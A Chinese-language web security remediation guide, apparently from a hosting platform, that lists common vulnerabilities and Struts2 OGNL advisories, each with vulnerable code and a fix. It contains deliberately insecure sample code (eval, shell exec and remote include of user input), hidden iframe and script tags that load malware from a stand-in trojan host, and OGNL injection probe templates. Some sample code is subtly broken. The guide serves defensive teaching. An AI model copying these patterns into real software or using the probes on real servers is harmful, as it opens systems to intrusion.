漏洞编号 | 风险级别 | 漏洞描述 |
1 | 高 | XSS(跨站脚本攻击) |
2 | 高 | CSRF(伪造跨站请求) |
3 | 高 | Sql Injection(SQL注入漏洞) |
4 | 中 | Information Leakage (服务器信息泄露) |
5 | 中 | Management Console Disclosure (管理后台泄露) |
6 | 高 | Trojan(挂马) |
7 | 中 | Improper Error Handling (异常错误处理) |
8 | 高 | Code Injection |
9 | 高 | OS Commanding |
10 | 高 | Path Traversal(目录遍历) |
11 | 低 | Directory Indexing(目录泄露) |
12 | 高 | Unvalidated Redirects and Forwards (跳转) |
13 | 高 | Weak Application (危险程序,如jmx,phpinfo) |
14 | 高 | Remote file inclusion',(远程文件包含) |
15 | 高 | CRLF Injection |
存在高危漏洞的应用,调用R2的API和W1、W2的API会报错,错误码 53,"Insufficient security level" 错误信息:high-risk security breach。
存在中危漏洞的应用,调用W2的API,会报错,错误码 53,"Insufficient security level" 错误信息:mid-risk security breach 。
4月8日,OpenSSL发布了安全公告,发现1.0.1、1.0.2beta(包括1.0.1f和1.0.2beta1)版本存在【CVE-2014-0160】的高危漏洞,被SSL/TLS加密传输的信息可以被窃取。
第一步:
Debian/Ubuntu:
# apt-get update!
# apt-get install openssl libssl1.0.0
CentOS:
# yum update openssl
Aliyun Linux及其他系统请手工将OpenSSL升级至1.0.1g版本
第二步:
修复完毕后,请重启WEB服务,Apache/Nginx/Httpd的重启方式分别如下:
# /etc/init.d/apache2 restart
# /etc/init.d/ngnix restart
# /etc/init.d/httpd restart
此外还需要重启其他与OpenSSL相关的服务。(可通过 lsof | grep libssl | awk '{print $1}'| sort | uniq 查看与OpenSSL库相关的服务)。
跨站攻击,即Cross Site Script Execution(通常简写为XSS)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用 户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
安全隐患,攻击者可利用XSS漏洞获取用户cookie,传播蠕虫,篡改页面或进行钓鱼等
对参数做html转义过滤(要过滤的字符包括:单引号、双引号、大于号、小于号,&符号),防止脚本执行。在变量输出时进行HTML ENCODE 处理。
PHP应用,可以使用htmlspecialchars对用户参数进行编码
ASP.net应用,可以使用AntiXSS
JAVA应用,可以使用org.apache.commons.lang.StringEscapeUtils提供的Escape函数
(1)ASP:
问题示例代码:
<%
Dim param
Set param=Request.QueryString("dd")
response.write param
%>
修复范例:
<%
Dim param
Set param=Request.QueryString("dd")
response.write Server.HTMLEnCode(param)
%>
(2)PHP
问题代码示例:
<?php
$aa=$_GET['dd'];
echo $aa."123";
?>
修复范例:
<?php
$aa=$_GET['dd'];
echo htmlspecialchars($aa)."123";
?>
CSRF(Cross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用
该漏洞可以在用户登录完成后的会话里,让用户执行不知情的操作。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......
1、在功能请求页面设置csrf token,并在服务端对token进行验证。
2、将get请求改为post方式。
SQL注射是由于程序中对使用到的sql没有做到数据和结构分离导致程序的sql能被恶意用户控制,从而引发的数据库信息泄漏,修改,服务器被入侵等一系列严重后果。
数据库信息泄露或被修改,还有可能威胁服务器的安全。
对程序中使用到的SQL语句,使用变量绑定的方式进行数据和结构的分离。
参数化形式构造SQL语句进行查询
(1)ASP
问题代码示例:
<%
Dim oComm, oRs
Set id=Request.QueryString("d")
Set oConn = Server.CreateObject("ADODB.Connection")
oConn.Open "Provider=MSDAORA;Password=sth;
Persist Security Info=True;User ID=whats;Data Source=mescp"
Set oComm = CreateObject("ADODB.Command")
oComm.ActiveConnection = oConn
Comm.CommandType = 1
oComm.CommandText = "select * from all_objects where rownum ="& id
Set oRs = oComm.Execute
%>
修复范例:
<%
Dim oComm, oRs
Set oConn = Server.CreateObject("ADODB.Connection")
oConn.Open "Provider=MSDAORA;Password=sth;Persist Security Info=True;User ID=whats;Data Source=mescp"
Set oComm = CreateObject("ADODB.Command")
oComm.ActiveConnection = oConn
Comm.CommandType = 1
oComm.CommandText = "select * from all_objects where rownum = ? "
oComm.Parameters.Append oComm.CreateParameter("v1",3,1,4,100)
Set oRs = oComm.Execute
%>
(2)PHP
问题代码示例:
<?php
$id=$_GET['id'];
$conn = mysql_connect("localhost","root","") or die ("wrong!");
$sel=mysql_select_db("mydb",$conn);
$sql="select * from user where id = ".id
$que=mysql_query($sql,$conn);
?>
修复范例:
<?php
$id=$_GET['id'];
$conn = mysql_connect("localhost","root","") or die ("wrong!");
$sel=mysql_select_db("mydb",$conn);
$sql="select * from user where id = :id"
$stmt = $conn->prepare($sql);
$stmt->execute(array(':id'=>$id));
?>
(3)JAVA应用可以使用ibatis
可能会泄露一些敏感信息,被攻击者利用。如phpinfo()
关闭应用程序不必要的输出,如调试,错误信息的输出。
应用的后台系统泄露在外面,任何用户都可以随意访问到。
可能会遭到攻击者的暴力破解或利用bypass漏洞,进入应用后台,进行非法操作。
挂马是恶意攻击者通过各种手段篡改页面,种植恶意代码,最终导致网站用户机器被中木马进而引起用户各种资损并间接导致网站资损的恶性攻击行为。
应用程序已经被攻击者破坏,同时来危及来访的用户电脑安全。
检查被挂马页面,去除其中被添加的挂马代码。找出系统存在的安全漏洞,删除恶意代码。
(1)被挂马页面示例(iframe):
<html>
<body>
…………
<iframe src=http://www.trojan.com/ms04067.html width=0 height=0 />
</body>
</html>
修复范例:
删除其中的<iframe src=http://www.trojan.com/ms04067.html width=0 height=0 />
(注:特征为iframe长宽都为0或者很低)
(2)被挂马页面示例(script):
<html>
<body>
…………
<script src=http://www.trojan.com/ms04067.js />
</body>
</html>
修复范例:
删除其中的<script src=http://www.trojan.com/ms04067.js />
(注:特征为script为外站script或者为非网站所有者所知的script)
程序运行时产生的异常没有处理,导致应用/服务器的状态信息显示在默认的错误页面上。
异常信息的不正确处理,可能会导致一些未知的问题。
1、正确处理好程序的异常以及函数调用的返回信息。
2、对外使用时,采用统一的错误页面。
代码注入是指由于服务端代码漏洞导致恶意用户输入在服务端被执行的一种高危安全漏洞;
利用该漏洞,可以在服务器上执行攻击者拼装的代码。
严格检查控制程序的参数.
(1)ASP:
<%
' 期待输入sub.asp
execute request("include")
%>
修复范例:
<%
<!--#include file="sub.asp"-->
%>
(2)PHP:
漏洞代码示例:
<%php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
%>
修复范例:
<%php
$myvar = "varname";
$x = $_GET['arg'];
$myvar = $x;
%>
1. Apache Struts2和webwork存在"ParameterInterceptor"安全绕过漏洞,具体情况如下,请大家关注:
漏洞发布日期 | 2012年2月2日 |
漏洞描述 | Struts2和webwork发布了最新的远程代码执行漏洞。原理是利用ognl执行特性,如下所示: (ognl表达式1)(ognl表达式2) 以上语句会执行(ognl表达式1)的值。 攻击者利用此特性,轻易绕过原本struts和webwork在ParametersInterceptor类中的防御方案,执行任意ognl代码。 |
漏洞检测方法 | 漏洞检测方法 检查步骤: 1. 用浏览器打开待测试的站点,比如: http://localhost/webworkdemo/hello1.action 2. 如果这个action中存在属性String foo(注:string类型的任意名称属性,foo只是随便举个例子,一个站点除非没有使用string类型的变量,否则都有漏洞),即可提交: ![]() 3. 若服务器执行“calc”命令,则表示漏洞存在。 |
建议修补方案 | 修补方案可参考如下方法: 方法1.升级到Struts 2.3.1.2,如果是webwork,可以只升级xwork包,此漏洞其实是xwork的漏洞,影响到了struts和webwork; 方法2.修改xwork源码,参照如下链接修改: http://svn.apache.org/viewvc?view=revision&revision=1234212; 方法3.修改配置如下: <interceptor-ref name="params"> <param name="acceptParamNames">\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param> </interceptor-ref> 方法4.通过hummoc拦截参数名称,只允许用户请求request的参数名匹配正则: "\\w+((\\.\\w+)|(\\[\\d+\\])|(\\(\\d+\\))|(\\['\\w+'\\])|(\\('\\w+'\\)))*"; 参考链接: http://secunia.com/advisories/47711/ |
2. struts2和webwork框架自定义result允许OGNL注入,可导致远程代码执行,详情如下:
漏洞发布日期 | 2012年3月21日 |
受影响的软件及系统 | Struts2和webwork(内核Xwork2.1.2及以上所有版本)以及内核Xwork1.0.3版本 |
漏洞描述 | 开发人员使用STRUTS2和WEBWORK框架时,一旦允许用户自定义result页面,攻击者就可以在自定义页面地址中注入OGNL语句,导致执行任意java代码。 在struts.xml文件中出现以下情况会引发漏洞。 漏洞示例1,URL跳转功能: <action name="redirect" class="com.ali.HackedByKxlzxRedirectAction"> <result name="redirect" type="redirect">${redirectUrl}</result> </action> 其中redirectUrl参数是用户自定义的,所以存在漏洞。 漏洞示例2,如下形式的参数自定义: <action name="delete" class="org.apache.struts2.showcase.action.SkillAction" method="delete"> <result name="error">/empmanager/editSkill.jsp</result> <result type="redirect">edit.action?skillName=${currentSkill.name}</result> </action> 其中currentSkill.name参数是用户自定义的,所以存在漏洞。 由于此漏洞是Xwork2.1.2版本时新出来的,而Xwork1.0.3的时候也存在另一个类似的漏洞,他们之间还有不少小版本是不受影响的,请仔细看公告。 |
漏洞检测方法 | 漏洞检测方法: 方法1、检查具体xwork版本号,若在影响范围内,则存在漏洞。 方法2、查找struts.xml或webwork.xml文件(包括其引用文件),如果存在”$”符号,则可能存在漏洞。(若xwork版本号不在影响 范围内,但以上提到的文件中存在”$”符号时说明目前没有可以直接利用的漏洞,一旦后续功能中有开发人员写了类似代码,仍然会产生漏洞,建议修补。) |
建议修补方案 | 修补方法: Xwork2.1.2以上版本修补方法: Step1、请查找这个类com.opensymphony.xwork2.util.TextParseUtil 中的函数(此函数多重实现,请找到符合参数类型的那个) public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) { 函数第一行 for (char open : openChars) { 修改为 for (char open : new char[]{'$'}) { Step2、替换xwork的jar包中的这个文件即可。 Xwork1.0.3版本修补方法: Step1、将以下文件: com/opensymphony/xwork/util/TextParseUtil.java 替换为 http://svn.opensymphony.com/svn/xwork/branches/xwork_1-2/src/java/com/opensymphony/xwork/util/TextParseUtil.java Step2、将“TextParseUtil.java”文件编译成class文件,放于以下目录中WEB-INF\classes\com\opensymphony\xwork\util 注意:此方法仅针对xwork1.0.3的漏洞修补,其他版本不适用,若擅自使用,后果自负。 |
3. struts2和webwork框架CookieInterceptor允许OGNL注入,可导致远程代码执行,详情如下:
漏洞发布日期 | 2012年5月14日 |
受影响的软件及系统 | Struts2核心包 <= 2.3.1 |
漏洞描述 | 如果在struts.xml或xwork.xml中有action节点配置如下: <param name="cookiesName">*</param> 该配置用于把用户提交来的任意cookie名称存放于cookiemap。当攻击者访问这个action时,如果在cookie名称中放入OGNL表达式,就会导致OGNL远程代码执行漏洞。 |
漏洞检测方法 | 该漏洞可以使用以下两种不同的方式检测,详情如下: 1) 外部检测 攻击者提交如下数据: GET /Struts2NoValidation/testCookie.action HTTP/1.1 Host: localhost:8080 Cookie: 这里是OGNL表达式=1 2) 源码检测 Xwork版本在攻击范围内的,若struts.xml或xwork.xml中有action节点配置如下: <param name="cookiesName">*</param> 就会导致OGNL远程代码执行漏洞。 |
建议修补方案 | 修补方案如下,可任选其一: 方案一、升级到Struts 2.3.3 (注意,这次不是升级xwork核 心包,而是直接升级struts),此方案仅适用于struts2。 方案二、参照官方源码在文件CookieInterceptor.java中增加代码,此文件在webwork中也是存在的,只是包名不同,但修补方式一样,webwork可以参照此方案修补。 参考链接: 官方源码如下: http://svn.apache.org/viewvc/struts/struts2/branches/STRUTS_2_3_X/core/src/main/java/org/apache/struts2/interceptor/CookieInterceptor.java?revision=1222975&view=co 代码修改具体说明如下: 1) 代码中加入了对COOKIE参数名的白名单验证逻辑:acceptedPattern。 2) 需要增加代码的地方: 加入两个字段: private static final String ACCEPTED_PATTERN = "[a-zA-Z0-9\\.\\]\\[_'\\s]+"; private Pattern acceptedPattern = Pattern.compile(ACCEPTED_PATTERN); 加入一个方法: public void setAcceptCookieNames(String pattern) { acceptedPattern = Pattern.compile(pattern); } 在代码: if (cookiesNameSet.contains("*")) { 之前,加入if逻辑判断,加入后为: if (acceptedPattern.matcher(name).matches()) { if (cookiesNameSet.contains("*")) { if (LOG.isDebugEnabled()) { LOG.debug("contains cookie name [*] in configured cookies name set, cookie with name [" + name + "] with value [" + value + "] will be injected"); } populateCookieValueIntoStack(name, value, cookiesMap, stack); } else if (cookiesNameSet.contains(cookie.getName())) { populateCookieValueIntoStack(name, value, cookiesMap, stack); } } else { LOG.warn("Cookie name [" + name + "] does not match accepted cookie names pattern [" + acceptedPattern + "]"); } |
系统命令执行是指应用程序对传入命令行的参数过滤不严导致恶意用户能控制最终执行的命令,进而入侵系统,导致严重破坏的高危漏洞。
利用这个漏洞攻击着可以执行服务器上的命令。
1、严格检查程序参数,特别是 "&", "&&", "|", "||"。
2、在代码中去除system等直接命令行执行函数或者禁止把外部传入参数传入到该类可执行函数的参数中。
(1)ASP:
漏洞代码示例:
<%
Dim cmd
Set cmd=Request.QueryString("cmd")
response.write server.createobject("wscript.shell").exec("cmd.exe /c "&cmd).stdout.readall
%>
修复范例:
Dim cmd
Set cmd=Request.QueryString("cmd")
if cmd == "dir" then
response.write server.createobject("wscript.shell").exec("cmd.exe /c "& "dir").stdout.readall
end if
%>
(2)PHP
漏洞代码示例:
<%php
$myvar = "varname";
$x = $_GET['arg'];
// 默认通过url传入ls -al 进行执行
system($x);
%>
修复建议:
<%php
$myvar = "varname";
$x = $_GET['arg'];
// 默认通过url传入ls -al 进行执行
if($x=='/bin/ls -al'){
system('/bin/ls -al');
}else{
return;
}
%>
目录遍历指的是应用程序对文件路径没有检查导致服务器上的敏感文件/代码泄漏。
可能会导致源代码等敏感信息泄露。
严格检查文件路径参数,限制在指定的范围。严格限制文件路径参数,不允许用户控制文件路径相关的参数,限定文件路径范围。
(1)ASP:
漏洞代码示例:
<%
Dim FileName
FileName = Request.QueryString("FileName")
Response.Clear
Response.ContentType = "application/octet-stream"
Response.AddHeader "content-disposition", "attachment; filename=" & FileName
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = 1
Stream.Open
Stream.LoadFromFile Server.MapPath(FileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
Stream.Close
Set Stream = Nothing
Response.Flush
Response.End
%>
修复范例:
<%
Dim FileName
FileId = Request.QueryString("FileId")
FileName = GetFileNameByID(FileId)
Response.Clear
Response.ContentType = "application/octet-stream"
Response.AddHeader "content-disposition", "attachment; filename=" & FileName
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = 1
Stream.Open
Stream.LoadFromFile Server.MapPath(FileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
Stream.Close
Set Stream = Nothing
Response.Flush
Response.End
%>
(2)PHP:
在php.ini中进行如下配置:
open_basedir = 服务器上WEB目录的路径(注,路径最后需要加上斜杠作为结束),如:open_basedir = /var/www/html/
应用服务器配置不当,导致应用服务器的目录列表被展示。
可能会导致敏感信息或源代码泄露。
配置应用服务器禁止目录列表展示。
某些页面由于功能需要需要进行页面跳转,如果没有对跳转的目的页面做检查就会导致被利用做为恶意URL的访问渠道。
攻击着可以利用这个漏洞进行跳转钓鱼。
1、严格检查URL跳转的范围。
2、跳转页面参数中添加redirect_url参数的签名,防止被篡改。
应用服务器配置不当,如存在jboss的jmx-console,php的phinfo等。
可能导致服务器被攻击或服务器敏感信息泄露。
删除不正确的配置。
远程文件包含是指程序代码在处理包含文件的时候没有严格控制。导致用户可以构造参数包含远程代码在服务器上执行,进而获取到服务器权限,造成网站被恶意删除,用户和交易数据被篡改等一系列恶性后果。
攻击着可以利用该漏洞,在服务器上执行命令。
配置php.ini关闭远程文件包含功能。
allow_url_include = Off
(1)PHP:
漏洞代码示例:
<?php
$path=$_GET['arg'];
include $path.'/filename.php';
?>
修复范例:
<?php
$path='/var/www/html/common.inc';
include $path.'/filename.php';
?>
或者:在php.ini中进行如下配置:
allow_url_fopen=off
allow_url_include=off
PHP有一些函数用文件名(如:fopen(), file()等)作为它们的参数。如果在php.ini中allow_url_fopen被设置为打开的,这些函数也允许以接受URL来替代接收文件,并且用正确的协议连接到服务器。那么这些函数将很容易遭到 CRLF Injection 攻击。
攻击着可以利用该漏洞在http请求注入恶意代码。
1、过滤所有的response headers,除去header中出现的非法字符,尤其是CRLF
2、如果你的脚本不需要访问URLs,建议在php.ini中关闭allow_url_fopen
http://en.wikipedia.org/wiki/Cross-site_scripting
http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
http://en.wikipedia.org/wiki/Cross-site_request_forgery
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
http://en.wikipedia.org/wiki/SQL_injection
https://www.owasp.org/index.php/Information_Leakage
https://www.owasp.org/index.php/Improper_error_handling
https://www.owasp.org/index.php/Code_Injection
https://www.owasp.org/index.php/OS_Command_Injection
https://www.owasp.org/index.php/Open_redirect
https://www.owasp.org/index.php/PHP_File_Inclusion
https://www.owasp.org/index.php/CRLF_Injection
有话要说